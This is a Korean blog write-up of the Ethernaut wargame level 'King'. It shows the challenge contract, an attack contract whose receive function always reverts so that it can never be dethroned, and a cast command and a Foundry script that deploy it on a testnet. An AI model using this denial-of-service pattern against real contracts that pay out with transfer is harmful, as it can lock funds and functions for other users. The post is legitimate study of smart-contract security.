[Ethernaut] (9 king)블록체인2025. 1. 17. 18:59
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
코드를 간단히 요약 및 설명하자면 먼저 prize보다 보낸 이더가 많으면 현재 king에게 다시 이더를 돌려주고 새롭게 king을 설정한다.
여기서 중요한것은 기존 king에게 이더를 돌려준다는 것이다.
그리고 인스턴스를 제출할때 관리자가 king자리를 뺏는다고 한다. king을 뺏고 영원히 king이 되면 풀린다.
공격 컨트랙트를 만들고 prize보다 높은 이더를 king 컨트랙트에게 보낸 뒤 왕이 되고 받는것을 거부하면 영원히 왕이 될 수 있다. 참고로 prize는 0.001이더다.
pragma solidity ^0.8.0;
contract Attack {
function atk(address target) public payable{
address(target).call{value: msg.value}("");
}
receive() external payable {
revert();
}
}
cast send 0x1Ee3854fbF3C496974600b0f306e3fa8520F2B3E "atk(address)" 0xe359D59f392504D8752a42629F94b2b136845d71 --val
ue 2000000000000000 --rpc-url $RPC_URL --account Burnnnnny

pragma solidity ^0.8.0;
import "forge-std/Script.sol";
contract Attack {
function atk(address target) public payable{
address(target).call{value: msg.value}("");
}
receive() external payable {
revert();
}
}
contract KingScript is Script {
function run() public {
vm.startBroadcast();
Attack atk = new Attack();
atk.atk{value: 0.01 ether}(0xE6c467Db7Fde6C3D02074672E41a8AF624A2B74e);
vm.stopBroadcast();
}
}
참고 블로그
'블록체인' 카테고리의 다른 글
| [Ethernaut] (11 Elevator) (0) | 2025.02.02 |
|---|---|
| [Ethernaut] (10 Re-entrancy) (0) | 2025.01.30 |
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
| [Ethernaut] (7 Force) (0) | 2025.01.02 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.